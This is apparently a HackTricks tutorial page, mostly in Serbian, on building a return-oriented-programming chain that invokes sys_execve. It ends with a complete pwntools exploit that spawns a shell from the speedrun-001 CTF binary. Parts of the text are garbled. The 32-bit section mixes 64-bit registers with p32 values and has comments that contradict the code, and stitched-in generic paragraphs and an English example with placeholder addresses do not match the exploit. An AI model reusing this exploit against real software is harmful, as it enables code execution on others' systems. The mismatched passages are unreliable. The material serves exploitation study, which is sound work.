hacktricks/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md
2024-02-10 13:11:20 +00:00

12 KiB

ROP - pozovi sys_execve

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Da biste pripremili poziv za syscall, potrebna je sledeća konfiguracija:

  • rax: 59 Specifikacija sys_execve
  • rdi: ptr na "/bin/sh" specifikacija fajla za izvršavanje
  • rsi: 0 specifikacija da nema prosleđenih argumenata
  • rdx: 0 specifikacija da nema prosleđenih okruženjskih promenljivih

Dakle, osnovno je potrebno negde napisati string /bin/sh i zatim izvršiti syscall (vodeći računa o potrebnoj popuni za kontrolu steka).

Kontrola registara

Hajde da počnemo sa pronalaženjem kako kontrolisati te registre:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Sa ovim adresama je moguće upisati sadržaj na stek i učitati ga u registre.

Upisivanje stringa

Upisivačka memorija

Prvo morate pronaći upisivo mesto u memoriji.

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Upisivanje Stringa

Zatim morate pronaći način da upišete proizvoljni sadržaj na ovoj adresi

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

32 bita

ROP (Return Oriented Programming) - execv

ROP (Return Oriented Programming) je tehnika koja se koristi za izvršavanje koda u ciljnom sistemu koristeći postojeći izvršni kod. U ovom slučaju, koristimo ROP za izvršavanje funkcije execv u ciljnom sistemu.

Funkcija execv se koristi za izvršavanje programa u Linux operativnom sistemu. Ona prima dva argumenta: putanju do programa koji želimo da izvršimo i niz argumenata koji se prosleđuju tom programu.

Da bismo koristili ROP za izvršavanje funkcije execv, prvo moramo pronaći odgovarajuće ROP gagdete. ROP gagdeti su mali delovi izvršnog koda koji se završavaju sa ret instrukcijom. Kombinacijom ovih gagdeta možemo konstruisati lanac koji će izvršiti željenu funkciju.

U ovom slučaju, koristimo ROP gagdete za postavljanje argumenata funkcije execv na odgovarajuće vrednosti. Zatim, koristimo ROP gagdete za pozivanje same funkcije execv.

Kada konstruišemo ROP lanac, moramo voditi računa o redosledu argumenata i njihovim vrednostima. Takođe, moramo biti sigurni da su adrese ROP gagdeta tačne i da se nalaze u memoriji ciljnog sistema.

Nakon što konstruišemo ROP lanac, možemo ga ubaciti u ranjivu aplikaciju i izvršiti napad. Kada se ROP lanac izvrši, funkcija execv će biti pozvana i program koji smo naveli će biti izvršen na ciljnom sistemu.

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bita

ROP (Return Oriented Programming) - Izvršavanje sistemskog poziva execv

ROP (Return Oriented Programming) je tehnika koja se koristi za izvršavanje zlonamernog koda u programu bez korišćenja tradicionalnih metoda ubrizgavanja koda. U ovom slučaju, koristićemo ROP za izvršavanje sistemskog poziva execv u 64-bitnom Linux okruženju.

Sistemski poziv execv se koristi za pokretanje novog procesa sa zadatim izvršnim fajlom. Da bismo izvršili ovaj sistemski poziv pomoću ROP-a, koristimo sledeće korake:

  1. Pronalazimo odgovarajuće ROP gadgete - male delove koda koji se nalaze u programu i koji završavaju sa instrukcijom "ret" (povratak). Ovi gadgeti će nam omogućiti da izvršimo sistemski poziv execv.

  2. Kreiramo ROP lanac - niz ROP gadgeta koji će se izvršiti jedan za drugim kako bi se postigao željeni cilj. U ovom slučaju, cilj nam je izvršavanje sistemskog poziva execv.

  3. Postavljamo argumente - postavljamo argumente za sistemski poziv execv, kao što su putanja do izvršnog fajla i argumenti koje želimo da prosledimo novom procesu.

  4. Izvršavamo ROP lanac - pokrećemo ROP lanac kako bismo izvršili sistemski poziv execv i pokrenuli novi proces.

Ova tehnika zahteva detaljno proučavanje ciljnog programa i identifikaciju odgovarajućih ROP gadgeta. Takođe je važno da se pravilno postave argumenti za sistemski poziv execv kako bi se postigao željeni rezultat.

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Primer

Description

In this example, we will demonstrate how to use Return-Oriented Programming (ROP) and the execv syscall to execute a shell command on a Linux system.

Requirements

To follow along with this example, you will need:

  • A Linux system
  • Basic knowledge of assembly language and C programming

Steps

  1. Find the address of the execv function in the target binary. This can be done using tools like objdump or readelf.

  2. Identify gadgets in the target binary that can be used for ROP. Gadgets are short sequences of instructions that end with a ret instruction.

  3. Craft a ROP chain that will call the execv function with the desired shell command as an argument. The ROP chain should include gadgets that set up the necessary registers for the execv syscall.

  4. Find the address of the shell command string in the target binary. This can be done using tools like objdump or readelf.

  5. Build the payload by concatenating the ROP chain and the address of the shell command string.

  6. Execute the payload by overflowing a buffer in the target binary and redirecting the program's control flow to the ROP chain.

Example

Let's assume we have a vulnerable program that reads user input into a buffer without proper bounds checking. We want to exploit this vulnerability to execute the ls command.

  1. Find the address of the execv function in the target binary. Let's say the address is 0xdeadbeef.

  2. Identify gadgets in the target binary that can be used for ROP. Let's say we find two gadgets:

    • pop rdi; ret at address 0xcafebabe
    • pop rsi; ret at address 0xfeedface
  3. Craft a ROP chain that will call the execv function with the desired shell command as an argument. The ROP chain would look like this:

    • pop rdi; ret gadget
    • address of the shell command string
    • pop rsi; ret gadget
    • 0 (null value for the second argument)
    • address of the execv function
  4. Find the address of the shell command string in the target binary. Let's say the address is 0xabcdef01.

  5. Build the payload by concatenating the ROP chain and the address of the shell command string:

    payload = rop_chain + shell_command_address
    
  6. Execute the payload by overflowing a buffer in the target binary and redirecting the program's control flow to the ROP chain. This can be done by providing input that exceeds the buffer's size and overwrites the return address with the address of the ROP chain.

When the vulnerable program returns, it will execute the ROP chain, which will set up the necessary registers and call the execv function with the shell command as an argument. This will result in the execution of the desired shell command (ls in this case).

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: